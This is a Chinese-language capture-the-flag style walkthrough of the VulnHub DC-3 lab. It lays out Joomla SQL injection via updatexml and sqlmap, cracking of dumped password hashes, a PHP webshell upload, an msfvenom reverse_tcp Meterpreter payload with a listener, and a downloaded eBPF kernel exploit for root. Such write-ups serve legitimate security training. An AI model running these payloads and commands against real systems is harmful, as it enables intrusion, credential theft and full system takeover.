VnlnHub DC-3
字数 896 2025-08-12 11:34:30

DC-3 靶场渗透测试教学文档

靶场搭建

  1. 下载镜像

    • 下载 .OVA 格式的镜像文件
    • 直接导入 VMware 虚拟机
  2. 网络配置

    • 网卡设置为 NAT 模式(与攻击机 Kali 保持一致)
  3. 启动问题解决

    • 开机时可能遇到磁盘配置问题
    • 解决方法:
      • 修改磁盘配置
      • 选择使用物理驱动器
      • 点击高级设置
      • 将 IDE 改为 IDE0:0

信息收集

  1. 网络扫描

    nmap -sP -T4 192.168.48.0/24
    
    • 发现主机:192.168.48.136(Kali 攻击机)和 192.168.48.139(靶机)
  2. 端口扫描

    • 靶机仅开放 80 端口(HTTP 服务)

Web 应用分析

  1. 识别 CMS

    • 使用 Joomla 搭建的网站
  2. 漏洞搜索

    • 尝试已知 Joomla 漏洞:
      • CVE-2015-8562(反序列化漏洞)
      • CVE-2017-8917(SQL 注入漏洞)
  3. 使用 Metasploit 尝试利用

    search CVE-2015-8562
    use [模块路径]
    set RHOSTS 192.168.48.139
    exploit
    
    • 利用失败
    search CVE-2017-8917
    use [模块路径]
    exploit
    
    • 同样利用失败

使用 Joomscan 扫描

  1. 基本扫描

    joomscan --url 192.168.48.139
    
  2. 扫描结果分析

    • Joomla 版本信息
    • 敏感目录(包括后台登录地址)
    • 配置文件路径
    • 备份文件
  3. 高级选项

    joomscan --url [URL] --enumerate-components
    joomscan --url [URL] --cookie "test=demo;"
    joomscan --url [URL] --user-agent "自定义UA"
    

SQL 注入漏洞验证与利用

  1. 验证漏洞

    /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
    
  2. 使用 SQLmap

    sqlmap -u "http://192.168.48.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch --level=5 --random-agent -p list[fullordering]
    
  3. 数据库信息提取

    • 爆库名:
      sqlmap ... --dbs
      
    • 爆表名:
      sqlmap ... -D joomladb --tables
      
    • 爆列名:
      sqlmap ... -D joomladb -T #_users --columns
      
    • 爆数据:
      sqlmap ... -D joomladb -T #_users --dump
      
  4. 密码破解

    • 保存 hash 到文件:
      vi dc3pass
      
    • 使用 John the Ripper 破解:
      john dc3pass
      

获取 Web 后台权限

  1. 登录后台

    • 使用破解得到的凭据登录
  2. 上传 Webshell

    • 通过后台文件上传功能上传 PHP 一句话木马
  3. 连接 Webshell

    • 使用蚁剑等工具连接

权限提升

  1. 初始信息收集

    sudo -l
    find / -perm -4000 2>/dev/null
    uname -r
    lsb_release -a
    
  2. 生成 Meterpreter 载荷

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f raw
    
  3. 设置监听

    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set LHOST 192.168.48.136
    exploit
    
  4. 获取完整 Shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    
  5. 内核提权

    • 搜索漏洞:
      searchsploit 4.4.x
      
    • 下载 exp:
      wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
      
    • 上传并执行:
      unzip 39772.zip
      cd 39772
      tar -xvf exploit.tar
      cd ebpf_mapfd_doubleput_exploit
      ./compile.sh
      ./doubleput
      

获取 Flag

cd /root
cat the-flag.txt

关键点总结

  1. 信息收集阶段要全面,包括网络扫描、端口扫描和 Web 应用指纹识别
  2. 尝试已知漏洞时要验证漏洞是否存在
  3. 使用专业工具(如 Joomscan、SQLmap)可以提高效率
  4. 权限提升时要先收集系统信息,再寻找合适的提权方法
  5. 内核提权是 Linux 系统常见的提权方式之一
DC-3 靶场渗透测试教学文档 靶场搭建 下载镜像 : 下载 .OVA 格式的镜像文件 直接导入 VMware 虚拟机 网络配置 : 网卡设置为 NAT 模式(与攻击机 Kali 保持一致) 启动问题解决 : 开机时可能遇到磁盘配置问题 解决方法: 修改磁盘配置 选择使用物理驱动器 点击高级设置 将 IDE 改为 IDE0:0 信息收集 网络扫描 : 发现主机:192.168.48.136(Kali 攻击机)和 192.168.48.139(靶机) 端口扫描 : 靶机仅开放 80 端口(HTTP 服务) Web 应用分析 识别 CMS : 使用 Joomla 搭建的网站 漏洞搜索 : 尝试已知 Joomla 漏洞: CVE-2015-8562(反序列化漏洞) CVE-2017-8917(SQL 注入漏洞) 使用 Metasploit 尝试利用 : 利用失败 同样利用失败 使用 Joomscan 扫描 基本扫描 : 扫描结果分析 : Joomla 版本信息 敏感目录(包括后台登录地址) 配置文件路径 备份文件 高级选项 : SQL 注入漏洞验证与利用 验证漏洞 : 使用 SQLmap : 数据库信息提取 : 爆库名: 爆表名: 爆列名: 爆数据: 密码破解 : 保存 hash 到文件: 使用 John the Ripper 破解: 获取 Web 后台权限 登录后台 : 使用破解得到的凭据登录 上传 Webshell : 通过后台文件上传功能上传 PHP 一句话木马 连接 Webshell : 使用蚁剑等工具连接 权限提升 初始信息收集 : 生成 Meterpreter 载荷 : 设置监听 : 获取完整 Shell : 内核提权 : 搜索漏洞: 下载 exp: 上传并执行: 获取 Flag 关键点总结 信息收集阶段要全面,包括网络扫描、端口扫描和 Web 应用指纹识别 尝试已知漏洞时要验证漏洞是否存在 使用专业工具(如 Joomscan、SQLmap)可以提高效率 权限提升时要先收集系统信息,再寻找合适的提权方法 内核提权是 Linux 系统常见的提权方式之一